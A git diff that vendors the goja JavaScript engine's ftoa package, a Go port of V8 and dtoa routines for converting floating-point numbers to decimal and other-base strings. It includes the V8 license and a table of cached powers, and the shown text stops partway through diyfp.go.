+ /* At this point d = f*2^i, where 1 <= f < 2. d2 is an approximation of f. */ + ds := (d2-1.5)*0.289529654602168 + 0.1760912590558 + float64(i)*0.301029995663981 + k := int(ds) + if ds < 0.0 && ds != float64(k) { + k-- /* want k = floor(ds) */ + } + k_check := true + if k >= 0 && k < len(tens) { + if d < tens[k] { + k-- + } + k_check = false + } + /* At this point floor(log10(d)) <= k <= floor(log10(d))+1. + If k_check is zero, we're guaranteed that k = floor(log10(d)). */ + j := bbits - i - 1 + var b2, s2, b5, s5 int + /* At this point d = b/2^j, where b is an odd integer. */ + if j >= 0 { + b2 = 0 + s2 = j + } else { + b2 = -j + s2 = 0 + } + if k >= 0 { + b5 = 0 + s5 = k + s2 += k + } else { + b2 -= k + b5 = -k + s5 = 0 + } + /* At this point d/10^k = (b * 2^b2 * 5^b5) / (2^s2 * 5^s5), where b is an odd integer, + b2 >= 0, b5 >= 0, s2 >= 0, and s5 >= 0. */ + if mode < 0 || mode > 9 { + mode = 0 + } + try_quick := true + if mode > 5 { + mode -= 4 + try_quick = false + } + leftright := true + var ilim, ilim1 int + switch mode { + case 0, 1: + ilim, ilim1 = -1, -1 + ndigits = 0 + case 2: + leftright = false + fallthrough + case 4: + if ndigits <= 0 { + ndigits = 1 + } + ilim, ilim1 = ndigits, ndigits + case 3: + leftright = false + fallthrough + case 5: + i = ndigits + k + 1 + ilim = i + ilim1 = i - 1 + } + /* ilim is the maximum number of significant digits we want, based on k and ndigits. */ + /* ilim1 is the maximum number of significant digits we want, based on k and ndigits, + when it turns out that k was computed too high by one. */ + fast_failed := false + if ilim >= 0 && ilim <= quick_max && try_quick { + + /* Try to get by with floating-point arithmetic. */ + + i = 0 + d2 = d + k0 := k + ilim0 := ilim + ieps := 2 /* conservative */ + /* Divide d by 10^k, keeping track of the roundoff error and avoiding overflows. */ + if k > 0 { + ds = tens[k&0xf] + j = k >> 4 + if (j & bletch) != 0 { + /* prevent overflows */ + j &= bletch - 1 + d /= bigtens[len(bigtens)-1] + ieps++ + } + for ; j != 0; i++ { + if (j & 1) != 0 { + ieps++ + ds *= bigtens[i] + } + j >>= 1 + } + d /= ds + } else if j1 := -k; j1 != 0 { + d *= tens[j1&0xf] + for j = j1 >> 4; j != 0; i++ { + if (j & 1) != 0 { + ieps++ + d *= bigtens[i] + } + j >>= 1 + } + } + /* Check that k was computed correctly. */ + if k_check && d < 1.0 && ilim > 0 { + if ilim1 <= 0 { + fast_failed = true + } else { + ilim = ilim1 + k-- + d *= 10. + ieps++ + } + } + /* eps bounds the cumulative error. */ + eps := float64(ieps)*d + 7.0 + eps = setWord0(eps, _word0(eps)-(p-1)*exp_msk1) + if ilim == 0 { + d -= 5.0 + if d > eps { + buf = append(buf, '1') + k++ + return buf, k + 1 + } + if d < -eps { + buf = append(buf, '0') + return buf, 1 + } + fast_failed = true + } + if !fast_failed { + fast_failed = true + if leftright { + /* Use Steele & White method of only + * generating digits needed. + */ + eps = 0.5/tens[ilim-1] - eps + for i = 0; ; { + l := int64(d) + d -= float64(l) + buf = append(buf, byte('0'+l)) + if d < eps { + return buf, k + 1 + } + if 1.0-d < eps { + buf, k = bumpUp(buf, k) + return buf, k + 1 + } + i++ + if i >= ilim { + break + } + eps *= 10.0 + d *= 10.0 + } + } else { + /* Generate ilim digits, then fix them up. */ + eps *= tens[ilim-1] + for i = 1; ; i++ { + l := int64(d) + d -= float64(l) + buf = append(buf, byte('0'+l)) + if i == ilim { + if d > 0.5+eps { + buf, k = bumpUp(buf, k) + return buf, k + 1 + } else if d < 0.5-eps { + buf = stripTrailingZeroes(buf, startPos) + return buf, k + 1 + } + break + } + d *= 10.0 + } + } + } + if fast_failed { + buf = buf[:startPos] + d = d2 + k = k0 + ilim = ilim0 + } + } + + /* Do we have a "small" integer? */ + if be >= 0 && k <= int_max { + /* Yes. */ + ds = tens[k] + if ndigits < 0 && ilim <= 0 { + if ilim < 0 || d < 5*ds || (!biasUp && d == 5*ds) { + buf = buf[:startPos] + buf = append(buf, '0') + return buf, 1 + } + buf = append(buf, '1') + k++ + return buf, k + 1 + } + for i = 1; ; i++ { + l := int64(d / ds) + d -= float64(l) * ds + buf = append(buf, byte('0'+l)) + if i == ilim { + d += d + if (d > ds) || (d == ds && (((l & 1) != 0) || biasUp)) { + buf, k = bumpUp(buf, k) + } + break + } + d *= 10.0 + if d == 0 { + break + } + } + return buf, k + 1 + } + + m2 := b2 + m5 := b5 + var mhi, mlo *big.Int + if leftright { + if mode < 2 { + if denorm { + i = be + (bias + (p - 1) - 1 + 1) + } else { + i = 1 + p - bbits + } + /* i is 1 plus the number of trailing zero bits in d's significand. Thus, + (2^m2 * 5^m5) / (2^(s2+i) * 5^s5) = (1/2 lsb of d)/10^k. */ + } else { + j = ilim - 1 + if m5 >= j { + m5 -= j + } else { + j -= m5 + s5 += j + b5 += j + m5 = 0 + } + i = ilim + if i < 0 { + m2 -= i + i = 0 + } + /* (2^m2 * 5^m5) / (2^(s2+i) * 5^s5) = (1/2 * 10^(1-ilim))/10^k. */ + } + b2 += i + s2 += i + mhi = big.NewInt(1) + /* (mhi * 2^m2 * 5^m5) / (2^s2 * 5^s5) = one-half of last printed (when mode >= 2) or + input (when mode < 2) significant digit, divided by 10^k. */ + } + + /* We still have d/10^k = (b * 2^b2 * 5^b5) / (2^s2 * 5^s5). Reduce common factors in + b2, m2, and s2 without changing the equalities. */ + if m2 > 0 && s2 > 0 { + if m2 < s2 { + i = m2 + } else { + i = s2 + } + b2 -= i + m2 -= i + s2 -= i + } + + b := new(big.Int).SetBytes(dblBits) + /* Fold b5 into b and m5 into mhi. */ + if b5 > 0 { + if leftright { + if m5 > 0 { + pow5mult(mhi, m5) + b.Mul(mhi, b) + } + j = b5 - m5 + if j != 0 { + pow5mult(b, j) + } + } else { + pow5mult(b, b5) + } + } + /* Now we have d/10^k = (b * 2^b2) / (2^s2 * 5^s5) and + (mhi * 2^m2) / (2^s2 * 5^s5) = one-half of last printed or input significant digit, divided by 10^k. */ + + S := big.NewInt(1) + if s5 > 0 { + pow5mult(S, s5) + } + /* Now we have d/10^k = (b * 2^b2) / (S * 2^s2) and + (mhi * 2^m2) / (S * 2^s2) = one-half of last printed or input significant digit, divided by 10^k. */ + + /* Check for special case that d is a normalized power of 2. */ + spec_case := false + if mode < 2 { + if (_word1(d) == 0) && ((_word0(d) & bndry_mask) == 0) && + ((_word0(d) & (exp_mask & (exp_mask << 1))) != 0) { + /* The special case. Here we want to be within a quarter of the last input + significant digit instead of one half of it when the decimal output string's value is less than d. */ + b2 += log2P + s2 += log2P + spec_case = true + } + } + + /* Arrange for convenient computation of quotients: + * shift left if necessary so divisor has 4 leading 0 bits. + * + * Perhaps we should just compute leading 28 bits of S once + * and for all and pass them and a shift to quorem, so it + * can do shifts and ors to compute the numerator for q. + */ + var zz int + if s5 != 0 { + S_bytes := S.Bytes() + var S_hiWord uint32 + for idx := 0; idx < 4; idx++ { + S_hiWord = S_hiWord << 8 + if idx < len(S_bytes) { + S_hiWord |= uint32(S_bytes[idx]) + } + } + zz = 32 - hi0bits(S_hiWord) + } else { + zz = 1 + } + i = (zz + s2) & 0x1f + if i != 0 { + i = 32 - i + } + /* i is the number of leading zero bits in the most significant word of S*2^s2. */ + if i > 4 { + i -= 4 + b2 += i + m2 += i + s2 += i + } else if i < 4 { + i += 28 + b2 += i + m2 += i + s2 += i + } + /* Now S*2^s2 has exactly four leading zero bits in its most significant word. */ + if b2 > 0 { + b = b.Lsh(b, uint(b2)) + } + if s2 > 0 { + S.Lsh(S, uint(s2)) + } + /* Now we have d/10^k = b/S and + (mhi * 2^m2) / S = maximum acceptable error, divided by 10^k. */ + if k_check { + if b.Cmp(S) < 0 { + k-- + b.Mul(b, big10) /* we botched the k estimate */ + if leftright { + mhi.Mul(mhi, big10) + } + ilim = ilim1 + } + } + /* At this point 1 <= d/10^k = b/S < 10. */ + + if ilim <= 0 && mode > 2 { + /* We're doing fixed-mode output and d is less than the minimum nonzero output in this mode. + Output either zero or the minimum nonzero output depending on which is closer to d. */ + if ilim >= 0 { + i = b.Cmp(S.Mul(S, big5)) + } + if ilim < 0 || i < 0 || i == 0 && !biasUp { + /* Always emit at least one digit. If the number appears to be zero + using the current mode, then emit one '0' digit and set decpt to 1. */ + buf = buf[:startPos] + buf = append(buf, '0') + return buf, 1 + } + buf = append(buf, '1') + k++ + return buf, k + 1 + } + + var dig byte + if leftright { + if m2 > 0 { + mhi.Lsh(mhi, uint(m2)) + } + + /* Compute mlo -- check for special case + * that d is a normalized power of 2. + */ + + mlo = mhi + if spec_case { + mhi = mlo + mhi = new(big.Int).Lsh(mhi, log2P) + } + /* mlo/S = maximum acceptable error, divided by 10^k, if the output is less than d. */ + /* mhi/S = maximum acceptable error, divided by 10^k, if the output is greater than d. */ + var z, delta big.Int + for i = 1; ; i++ { + z.DivMod(b, S, b) + dig = byte(z.Int64() + '0') + /* Do we yet have the shortest decimal string + * that will round to d? + */ + j = b.Cmp(mlo) + /* j is b/S compared with mlo/S. */ + delta.Sub(S, mhi) + var j1 int + if delta.Sign() <= 0 { + j1 = 1 + } else { + j1 = b.Cmp(&delta) + } + /* j1 is b/S compared with 1 - mhi/S. */ + if (j1 == 0) && (mode == 0) && ((_word1(d) & 1) == 0) { + if dig == '9' { + var flag bool + buf = append(buf, '9') + if buf, flag = roundOff(buf, startPos); flag { + k++ + buf = append(buf, '1') + } + return buf, k + 1 + } + if j > 0 { + dig++ + } + buf = append(buf, dig) + return buf, k + 1 + } + if (j < 0) || ((j == 0) && (mode == 0) && ((_word1(d) & 1) == 0)) { + if j1 > 0 { + /* Either dig or dig+1 would work here as the least significant decimal digit. + Use whichever would produce a decimal value closer to d. */ + b.Lsh(b, 1) + j1 = b.Cmp(S) + if (j1 > 0) || (j1 == 0 && (((dig & 1) == 1) || biasUp)) { + dig++ + if dig == '9' { + buf = append(buf, '9') + buf, flag := roundOff(buf, startPos) + if flag { + k++ + buf = append(buf, '1') + } + return buf, k + 1 + } + } + } + buf = append(buf, dig) + return buf, k + 1 + } + if j1 > 0 { + if dig == '9' { /* possible if i == 1 */ + buf = append(buf, '9') + buf, flag := roundOff(buf, startPos) + if flag { + k++ + buf = append(buf, '1') + } + return buf, k + 1 + } + buf = append(buf, dig+1) + return buf, k + 1 + } + buf = append(buf, dig) + if i == ilim { + break + } + b.Mul(b, big10) + if mlo == mhi { + mhi.Mul(mhi, big10) + } else { + mlo.Mul(mlo, big10) + mhi.Mul(mhi, big10) + } + } + } else { + var z big.Int + for i = 1; ; i++ { + z.DivMod(b, S, b) + dig = byte(z.Int64() + '0') + buf = append(buf, dig) + if i >= ilim { + break + } + + b.Mul(b, big10) + } + } + /* Round off last digit */ + + b.Lsh(b, 1) + j = b.Cmp(S) + if (j > 0) || (j == 0 && (((dig & 1) == 1) || biasUp)) { + var flag bool + buf, flag = roundOff(buf, startPos) + if flag { + k++ + buf = append(buf, '1') + return buf, k + 1 + } + } else { + buf = stripTrailingZeroes(buf, startPos) + } + + return buf, k + 1 +} + +func bumpUp(buf []byte, k int) ([]byte, int) { + var lastCh byte + stop := 0 + if len(buf) > 0 && buf[0] == '-' { + stop = 1 + } + for { + lastCh = buf[len(buf)-1] + buf = buf[:len(buf)-1] + if lastCh != '9' { + break + } + if len(buf) == stop { + k++ + lastCh = '0' + break + } + } + buf = append(buf, lastCh+1) + return buf, k +} + +func setWord0(d float64, w uint32) float64 { + dBits := math.Float64bits(d) + return math.Float64frombits(uint64(w)<<32 | dBits&0xffffffff) +} + +func _word0(d float64) uint32 { + dBits := math.Float64bits(d) + return uint32(dBits >> 32) +} + +func _word1(d float64) uint32 { + dBits := math.Float64bits(d) + return uint32(dBits) +} + +func stripTrailingZeroes(buf []byte, startPos int) []byte { + bl := len(buf) - 1 + for bl >= startPos && buf[bl] == '0' { + bl-- + } + return buf[:bl+1] +} + +/* Set b = b * 5^k. k must be nonnegative. */ +func pow5mult(b *big.Int, k int) *big.Int { + if k < (1 << (len(pow5Cache) + 2)) { + i := k & 3 + if i != 0 { + b.Mul(b, p05[i-1]) + } + k >>= 2 + i = 0 + for { + if k&1 != 0 { + b.Mul(b, pow5Cache[i]) + } + k >>= 1 + if k == 0 { + break + } + i++ + } + return b + } + return b.Mul(b, new(big.Int).Exp(big5, big.NewInt(int64(k)), nil)) +} + +func roundOff(buf []byte, startPos int) ([]byte, bool) { + i := len(buf) + for i != startPos { + i-- + if buf[i] != '9' { + buf[i]++ + return buf[:i+1], false + } + } + return buf[:startPos], true +} + +func init() { + p := big.NewInt(625) + pow5Cache[0] = p + for i := 1; i < len(pow5Cache); i++ { + p = new(big.Int).Mul(p, p) + pow5Cache[i] = p + } +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/ftobasestr.go b/backend/vendor/github.com/dop251/goja/ftoa/ftobasestr.go new file mode 100644 index 0000000..9dc9b2d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/ftobasestr.go @@ -0,0 +1,153 @@ +package ftoa + +import ( + "fmt" + "math" + "math/big" + "strconv" + "strings" +) + +const ( + digits = "0123456789abcdefghijklmnopqrstuvwxyz" +) + +func FToBaseStr(num float64, radix int) string { + var negative bool + if num < 0 { + num = -num + negative = true + } + + dfloor := math.Floor(num) + ldfloor := int64(dfloor) + var intDigits string + if dfloor == float64(ldfloor) { + if negative { + ldfloor = -ldfloor + } + intDigits = strconv.FormatInt(ldfloor, radix) + } else { + floorBits := math.Float64bits(num) + exp := int(floorBits>>exp_shiftL) & exp_mask_shifted + var mantissa int64 + if exp == 0 { + mantissa = int64((floorBits & frac_maskL) << 1) + } else { + mantissa = int64((floorBits & frac_maskL) | exp_msk1L) + } + + if negative { + mantissa = -mantissa + } + exp -= 1075 + x := big.NewInt(mantissa) + if exp > 0 { + x.Lsh(x, uint(exp)) + } else if exp < 0 { + x.Rsh(x, uint(-exp)) + } + intDigits = x.Text(radix) + } + + if num == dfloor { + // No fraction part + return intDigits + } else { + /* We have a fraction. */ + var buffer strings.Builder + buffer.WriteString(intDigits) + buffer.WriteByte('.') + df := num - dfloor + + dBits := math.Float64bits(num) + word0 := uint32(dBits >> 32) + word1 := uint32(dBits) + + dblBits := make([]byte, 0, 8) + e, _, dblBits := d2b(df, dblBits) + // JS_ASSERT(e < 0); + /* At this point df = b * 2^e. e must be less than zero because 0 < df < 1. */ + + s2 := -int((word0 >> exp_shift1) & (exp_mask >> exp_shift1)) + if s2 == 0 { + s2 = -1 + } + s2 += bias + p + /* 1/2^s2 = (nextDouble(d) - d)/2 */ + // JS_ASSERT(-s2 < e); + if -s2 >= e { + panic(fmt.Errorf("-s2 >= e: %d, %d", -s2, e)) + } + mlo := big.NewInt(1) + mhi := mlo + if (word1 == 0) && ((word0 & bndry_mask) == 0) && ((word0 & (exp_mask & (exp_mask << 1))) != 0) { + /* The special case. Here we want to be within a quarter of the last input + significant digit instead of one half of it when the output string's value is less than d. */ + s2 += log2P + mhi = big.NewInt(1 << log2P) + } + + b := new(big.Int).SetBytes(dblBits) + b.Lsh(b, uint(e+s2)) + s := big.NewInt(1) + s.Lsh(s, uint(s2)) + /* At this point we have the following: + * s = 2^s2; + * 1 > df = b/2^s2 > 0; + * (d - prevDouble(d))/2 = mlo/2^s2; + * (nextDouble(d) - d)/2 = mhi/2^s2. */ + bigBase := big.NewInt(int64(radix)) + + done := false + m := &big.Int{} + delta := &big.Int{} + for !done { + b.Mul(b, bigBase) + b.DivMod(b, s, m) + digit := byte(b.Int64()) + b, m = m, b + mlo.Mul(mlo, bigBase) + if mlo != mhi { + mhi.Mul(mhi, bigBase) + } + + /* Do we yet have the shortest string that will round to d? */ + j := b.Cmp(mlo) + /* j is b/2^s2 compared with mlo/2^s2. */ + + delta.Sub(s, mhi) + var j1 int + if delta.Sign() <= 0 { + j1 = 1 + } else { + j1 = b.Cmp(delta) + } + /* j1 is b/2^s2 compared with 1 - mhi/2^s2. */ + if j1 == 0 && (word1&1) == 0 { + if j > 0 { + digit++ + } + done = true + } else if j < 0 || (j == 0 && ((word1 & 1) == 0)) { + if j1 > 0 { + /* Either dig or dig+1 would work here as the least significant digit. + Use whichever would produce an output value closer to d. */ + b.Lsh(b, 1) + j1 = b.Cmp(s) + if j1 > 0 { /* The even test (|| (j1 == 0 && (digit & 1))) is not here because it messes up odd base output such as 3.5 in base 3. */ + digit++ + } + } + done = true + } else if j1 > 0 { + digit++ + done = true + } + // JS_ASSERT(digit < (uint32)base); + buffer.WriteByte(digits[digit]) + } + + return buffer.String() + } +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/ftostr.go b/backend/vendor/github.com/dop251/goja/ftoa/ftostr.go new file mode 100644 index 0000000..a9d2d24 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/ftostr.go @@ -0,0 +1,147 @@ +package ftoa + +import ( + "math" + "strconv" + + "github.com/dop251/goja/ftoa/internal/fast" +) + +type FToStrMode int + +const ( + // Either fixed or exponential format; round-trip + ModeStandard FToStrMode = iota + // Always exponential format; round-trip + ModeStandardExponential + // Round to digits after the decimal point; exponential if number is large + ModeFixed + // Always exponential format; significant digits + ModeExponential + // Either fixed or exponential format; significant digits + ModePrecision +) + +func insert(b []byte, p int, c byte) []byte { + b = append(b, 0) + copy(b[p+1:], b[p:]) + b[p] = c + return b +} + +func expand(b []byte, delta int) []byte { + newLen := len(b) + delta + if newLen <= cap(b) { + return b[:newLen] + } + b1 := make([]byte, newLen) + copy(b1, b) + return b1 +} + +func FToStr(d float64, mode FToStrMode, precision int, buffer []byte) []byte { + if math.IsNaN(d) { + buffer = append(buffer, "NaN"...) + return buffer + } + if math.IsInf(d, 0) { + if math.Signbit(d) { + buffer = append(buffer, '-') + } + buffer = append(buffer, "Infinity"...) + return buffer + } + + if mode == ModeFixed && (d >= 1e21 || d <= -1e21) { + mode = ModeStandard + } + + var decPt int + var ok bool + startPos := len(buffer) + + if d != 0 { // also matches -0 + if d < 0 { + buffer = append(buffer, '-') + d = -d + startPos++ + } + switch mode { + case ModeStandard, ModeStandardExponential: + buffer, decPt, ok = fast.Dtoa(d, fast.ModeShortest, 0, buffer) + case ModeExponential, ModePrecision: + buffer, decPt, ok = fast.Dtoa(d, fast.ModePrecision, precision, buffer) + } + } else { + buffer = append(buffer, '0') + decPt, ok = 1, true + } + if !ok { + buffer, decPt = ftoa(d, dtoaModes[mode], mode >= ModeFixed, precision, buffer) + } + exponentialNotation := false + minNDigits := 0 /* Minimum number of significand digits required by mode and precision */ + nDigits := len(buffer) - startPos + + switch mode { + case ModeStandard: + if decPt < -5 || decPt > 21 { + exponentialNotation = true + } else { + minNDigits = decPt + } + case ModeFixed: + if precision >= 0 { + minNDigits = decPt + precision + } else { + minNDigits = decPt + } + case ModeExponential: + // JS_ASSERT(precision > 0); + minNDigits = precision + fallthrough + case ModeStandardExponential: + exponentialNotation = true + case ModePrecision: + // JS_ASSERT(precision > 0); + minNDigits = precision + if decPt < -5 || decPt > precision { + exponentialNotation = true + } + } + + for nDigits < minNDigits { + buffer = append(buffer, '0') + nDigits++ + } + + if exponentialNotation { + /* Insert a decimal point if more than one significand digit */ + if nDigits != 1 { + buffer = insert(buffer, startPos+1, '.') + } + buffer = append(buffer, 'e') + if decPt-1 >= 0 { + buffer = append(buffer, '+') + } + buffer = strconv.AppendInt(buffer, int64(decPt-1), 10) + } else if decPt != nDigits { + /* Some kind of a fraction in fixed notation */ + // JS_ASSERT(decPt <= nDigits); + if decPt > 0 { + /* dd...dd . dd...dd */ + buffer = insert(buffer, startPos+decPt, '.') + } else { + /* 0 . 00...00dd...dd */ + buffer = expand(buffer, 2-decPt) + copy(buffer[startPos+2-decPt:], buffer[startPos:]) + buffer[startPos] = '0' + buffer[startPos+1] = '.' + for i := startPos + 2; i < startPos+2-decPt; i++ { + buffer[i] = '0' + } + } + } + + return buffer +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/LICENSE_V8 b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/LICENSE_V8 new file mode 100644 index 0000000..bbad266 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/LICENSE_V8 @@ -0,0 +1,26 @@ +Copyright 2014, the V8 project authors. All rights reserved. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + * Neither the name of Google Inc. nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/cachedpower.go b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/cachedpower.go new file mode 100644 index 0000000..4f7e49f --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/cachedpower.go @@ -0,0 +1,120 @@ +package fast + +import "math" + +const ( + kCachedPowersOffset = 348 // -1 * the first decimal_exponent. + kD_1_LOG2_10 = 0.30102999566398114 // 1 / lg(10) + kDecimalExponentDistance = 8 +) + +type cachedPower struct { + significand uint64 + binary_exponent int16 + decimal_exponent int16 +} + +var ( + cachedPowers = [...]cachedPower{ + {0xFA8FD5A0081C0288, -1220, -348}, + {0xBAAEE17FA23EBF76, -1193, -340}, + {0x8B16FB203055AC76, -1166, -332}, + {0xCF42894A5DCE35EA, -1140, -324}, + {0x9A6BB0AA55653B2D, -1113, -316}, + {0xE61ACF033D1A45DF, -1087, -308}, + {0xAB70FE17C79AC6CA, -1060, -300}, + {0xFF77B1FCBEBCDC4F, -1034, -292}, + {0xBE5691EF416BD60C, -1007, -284}, + {0x8DD01FAD907FFC3C, -980, -276}, + {0xD3515C2831559A83, -954, -268}, + {0x9D71AC8FADA6C9B5, -927, -260}, + {0xEA9C227723EE8BCB, -901, -252}, + {0xAECC49914078536D, -874, -244}, + {0x823C12795DB6CE57, -847, -236}, + {0xC21094364DFB5637, -821, -228}, + {0x9096EA6F3848984F, -794, -220}, + {0xD77485CB25823AC7, -768, -212}, + {0xA086CFCD97BF97F4, -741, -204}, + {0xEF340A98172AACE5, -715, -196}, + {0xB23867FB2A35B28E, -688, -188}, + {0x84C8D4DFD2C63F3B, -661, -180}, + {0xC5DD44271AD3CDBA, -635, -172}, + {0x936B9FCEBB25C996, -608, -164}, + {0xDBAC6C247D62A584, -582, -156}, + {0xA3AB66580D5FDAF6, -555, -148}, + {0xF3E2F893DEC3F126, -529, -140}, + {0xB5B5ADA8AAFF80B8, -502, -132}, + {0x87625F056C7C4A8B, -475, -124}, + {0xC9BCFF6034C13053, -449, -116}, + {0x964E858C91BA2655, -422, -108}, + {0xDFF9772470297EBD, -396, -100}, + {0xA6DFBD9FB8E5B88F, -369, -92}, + {0xF8A95FCF88747D94, -343, -84}, + {0xB94470938FA89BCF, -316, -76}, + {0x8A08F0F8BF0F156B, -289, -68}, + {0xCDB02555653131B6, -263, -60}, + {0x993FE2C6D07B7FAC, -236, -52}, + {0xE45C10C42A2B3B06, -210, -44}, + {0xAA242499697392D3, -183, -36}, + {0xFD87B5F28300CA0E, -157, -28}, + {0xBCE5086492111AEB, -130, -20}, + {0x8CBCCC096F5088CC, -103, -12}, + {0xD1B71758E219652C, -77, -4}, + {0x9C40000000000000, -50, 4}, + {0xE8D4A51000000000, -24, 12}, + {0xAD78EBC5AC620000, 3, 20}, + {0x813F3978F8940984, 30, 28}, + {0xC097CE7BC90715B3, 56, 36}, + {0x8F7E32CE7BEA5C70, 83, 44}, + {0xD5D238A4ABE98068, 109, 52}, + {0x9F4F2726179A2245, 136, 60}, + {0xED63A231D4C4FB27, 162, 68}, + {0xB0DE65388CC8ADA8, 189, 76}, + {0x83C7088E1AAB65DB, 216, 84}, + {0xC45D1DF942711D9A, 242, 92}, + {0x924D692CA61BE758, 269, 100}, + {0xDA01EE641A708DEA, 295, 108}, + {0xA26DA3999AEF774A, 322, 116}, + {0xF209787BB47D6B85, 348, 124}, + {0xB454E4A179DD1877, 375, 132}, + {0x865B86925B9BC5C2, 402, 140}, + {0xC83553C5C8965D3D, 428, 148}, + {0x952AB45CFA97A0B3, 455, 156}, + {0xDE469FBD99A05FE3, 481, 164}, + {0xA59BC234DB398C25, 508, 172}, + {0xF6C69A72A3989F5C, 534, 180}, + {0xB7DCBF5354E9BECE, 561, 188}, + {0x88FCF317F22241E2, 588, 196}, + {0xCC20CE9BD35C78A5, 614, 204}, + {0x98165AF37B2153DF, 641, 212}, + {0xE2A0B5DC971F303A, 667, 220}, + {0xA8D9D1535CE3B396, 694, 228}, + {0xFB9B7CD9A4A7443C, 720, 236}, + {0xBB764C4CA7A44410, 747, 244}, + {0x8BAB8EEFB6409C1A, 774, 252}, + {0xD01FEF10A657842C, 800, 260}, + {0x9B10A4E5E9913129, 827, 268}, + {0xE7109BFBA19C0C9D, 853, 276}, + {0xAC2820D9623BF429, 880, 284}, + {0x80444B5E7AA7CF85, 907, 292}, + {0xBF21E44003ACDD2D, 933, 300}, + {0x8E679C2F5E44FF8F, 960, 308}, + {0xD433179D9C8CB841, 986, 316}, + {0x9E19DB92B4E31BA9, 1013, 324}, + {0xEB96BF6EBADF77D9, 1039, 332}, + {0xAF87023B9BF0EE6B, 1066, 340}, + } +) + +func getCachedPowerForBinaryExponentRange(min_exponent, max_exponent int) (power diyfp, decimal_exponent int) { + kQ := diyFpKSignificandSize + k := int(math.Ceil(float64(min_exponent+kQ-1) * kD_1_LOG2_10)) + index := (kCachedPowersOffset+k-1)/kDecimalExponentDistance + 1 + cached_power := cachedPowers[index] + _DCHECK(min_exponent <= int(cached_power.binary_exponent)) + _DCHECK(int(cached_power.binary_exponent) <= max_exponent) + decimal_exponent = int(cached_power.decimal_exponent) + power = diyfp{f: cached_power.significand, e: int(cached_power.binary_exponent)} + + return +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/common.go b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/common.go new file mode 100644 index 0000000..6ffaaf9 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/common.go @@ -0,0 +1,18 @@ +/* +Package fast contains code ported from V8 (https://github.com/v8/v8/blob/master/src/numbers/fast-dtoa.cc) + +See LICENSE_V8 for the original copyright message and disclaimer. +*/ +package fast + +import "errors" + +var ( + dcheckFailure = errors.New("DCHECK assertion failed") +) + +func _DCHECK(f bool) { + if !f { + panic(dcheckFailure) + } +} diff --git a/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/diyfp.go b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/diyfp.go new file mode 100644 index 0000000..727a747 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ftoa/internal/fast/diyfp.go @@ -0,0 +1,152 @@ +package fast + +import "math" + +const ( + diyFpKSignificandSize = 64 + kSignificandSize = 53 + kUint64MSB uint64 = 1 << 63 + + kSignificandMask = 0x000FFFFFFFFFFFFF + kHiddenBit = 0x0010000000000000 + kExponentMask = 0x7FF0000000000000 + + kPhysicalSignificandSize = 52 // Excludes the hidden bit. + kExponentBias = 0x3FF + kPhysicalSignificandSize + kDenormalExponent = -kExponentBias + 1 +) + +type double float64 + +type diyfp struct { + f uint64 + e int +} + +// f =- o. +// The exponents of both numbers must be the same and the significand of this +// must be bigger than the significand of other. +// The result will not be normalized. +func (f *diyfp) subtract(o diyfp) { + _DCHECK(f.e == o.e) + _DCHECK(f.f >= o.f) + f.f -= o.f +} + +// Returns f - o +// The exponents of both numbers must be the same and this must be bigger +// than other. The result will not be normalized. +func (f diyfp) minus(o diyfp) diyfp { + res := f + res.subtract(o) + return res +} + +// f *= o +func (f *diyfp) mul(o diyfp) { + // Simply "emulates" a 128 bit multiplication. + // However: the resulting number only contains 64 bits. The least + // significant 64 bits are only used for rounding the most significant 64 + // bits. + const kM32 uint64 = 0xFFFFFFFF + a := f.f >> 32 + b := f.f & kM32 + c := o.f >> 32 + d := o.f & kM32 + ac := a * c + bc := b * c + ad := a * d + bd := b * d + tmp := (bd >> 32) + (ad & kM32) + (bc & kM32) + // By adding 1U << 31 to tmp we round the final result. + // Halfway cases will be round up. + tmp += 1 << 31 + result_f := ac + (ad >> 32) + (bc >> 32) + (tmp >> 32) + f.e += o.e + 64 + f.f = result_f +} + +// Returns f * o +func (f diyfp) times(o diyfp) diyfp { + res := f + res.mul(o) + return res +} + +func (f *diyfp) _normalize() { + f_, e := f.f, f.e + // This method is mainly called for normalizing boundaries. In general + // boundaries need to be shifted by 10 bits. We thus optimize for this case. + const k10MSBits uint64 = 0x3FF << 54 + for f_&k10MSBits == 0 